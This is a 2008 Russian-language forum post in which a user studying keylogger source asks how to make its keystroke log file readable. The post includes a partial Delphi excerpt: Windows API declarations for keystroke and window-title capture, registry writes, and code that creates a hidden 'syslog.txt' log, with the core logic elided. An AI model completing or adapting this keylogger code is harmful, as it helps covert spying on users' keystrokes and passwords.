
05.04.2008, 21:18
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Вот решил разобратьсяв коде кейлогера
взят из этой темы(последний пост):
ССЫЛКА
и возник один вопрос:
как сделать так, чтобы файл, в который записывается лог клавиш был доступен для чтения, а то все мои попытки не увенчались успехом (нужно чтобы была возможность считывать в стринговом формате)?Вот отрывок кода:
Код:
type
UINT=Cardinal;
DWORD=Cardinal;
SHORT=SmallInt;
HKL = LongWord;
HKEY = type LongWord;
THandle = Cardinal;
HWND=Cardinal;
BOOL = Boolean;
_SYSTEMTIME = record
wYear: Word;
wMonth: Word;
wDayOfWeek: Word;
wDay: Word;
wHour: Word;
wMinute: Word;
wSecond: Word;
wMilliseconds: Word;
end;
TSystemTime = _SYSTEMTIME;
MMRESULT = UINT;
TOverLapped = record
Internal: LongWord;
InternalHigh: LongWord;
Offset: LongWord;
OffsetHigh: LongWord;
hEvent: LongWord;
end;
TSecurityAttributes = record
nLength: LongWord;
lpSecurityDescriptor: Pointer;
bInheritHandle: LongBool;
end;
POverlapped = ^TOverlapped;
PSecurityAttributes = ^TSecurityAttributes;
TFNTimeCallBack = procedure(uTimerID, uMessage: UINT;
dwUser, dw1, dw2: DWORD) stdcall;
var
TIDA:Integer;
TID:Integer;
loggern:pchar;
wintext:array[0..144]of char;
_temp:^cardinal;
wrote:longWord;
buffer:array[0..40000] of char;
FH:THandle;
acWindow:HWND;
path:string;
function MakeWord(A, B: Byte): Word;
begin
Result := A or B shl 8;
end;
function RegCreateKey(hKey: HKEY; lpSubKey: PChar;
var phkResult: HKEY): Longint; stdcall; external 'advapi32' name 'RegCreateKeyA';
function RegSetValueEx(hKey: HKEY; lpValueName: PChar;
Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external 'advapi32' name 'RegSetValueExA';
function RegCloseKey(hKey: HKEY): Longint; stdcall; external 'advapi32' name 'RegCloseKey';
function GetKeyboardLayout(dwLayout: DWORD): HKL; stdcall; external 'user32' name 'GetKeyboardLayout';
function GetWindowThreadProcessId(hWnd: HWND; lpdwProcessId: Pointer): DWORD; stdcall; external 'user32' name 'GetWindowThreadProcessId';
function GetForegroundWindow: HWND; stdcall; external 'user32' name 'GetForegroundWindow';
function GetAsyncKeyState(vKey: Integer): SHORT; stdcall; external 'user32' name 'GetAsyncKeyState';
function GetKeyState(nVirtKey: Integer): SHORT; stdcall; external 'user32' name 'GetKeyState';
function timeSetEvent(uDelay, uResolution: UINT;
lpFunction: TFNTimeCallBack; dwUser: DWORD; uFlags: UINT): MMRESULT; stdcall; external 'winmm.dll' name 'timeSetEvent';
function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer; stdcall; external 'user32' name 'GetWindowTextA';
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: LongWord;
lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: LongWord;
hTemplateFile: LongWord): LongWord; stdcall;
external 'kernel32.dll' name 'CreateFileA';
function SetFilePointer(hFile: THandle; lDistanceToMove: Longint;
lpDistanceToMoveHigh: Pointer; dwMoveMethod: DWORD): DWORD; stdcall; external 'kernel32' name 'SetFilePointer';
function GetFileSize(hFile: THandle; lpFileSizeHigh: Pointer): DWORD; stdcall; external 'kernel32' name 'GetFileSize';
function WriteFile(hFile: LongWord; const Buffer; nNumberOfBytesToWrite: LongWord;
var lpNumberOfBytesWritten: LongWord; lpOverlapped: POverlapped): LongBool; stdcall;
external 'kernel32.dll' name 'WriteFile';
function SetFileAttributes(lpFileName: PChar; dwFileAttributes: DWORD): BOOL; stdcall; external 'kernel32' name 'SetFileAttributesA';
function CloseHandle(hObject: THandle): BOOL; stdcall; external 'kernel32' name 'CloseHandle';
function lstrlen(lpString: PChar): Integer; stdcall; external 'kernel32' name 'lstrlenA';
function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcpyA';
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcatA';
function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external 'kernel32' name 'GetWindowsDirectoryA';
function GetTempPath(nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall; external 'kernel32' name 'GetTempPathA';
procedure Sleep(milliseconds: Cardinal); stdcall; external 'kernel32.dll' name 'Sleep';
procedure GetSystemTime(var lpSystemTime: TSystemTime); stdcall; external 'kernel32' name 'GetSystemTime';
//...................
//...................
path:='syslog.txt';
FH:=CreateFile(Pchar(path),$40000000,$00000002,nil,2,0,0);
SetFileAttributes(Pchar(path),$00000002);
|
|
|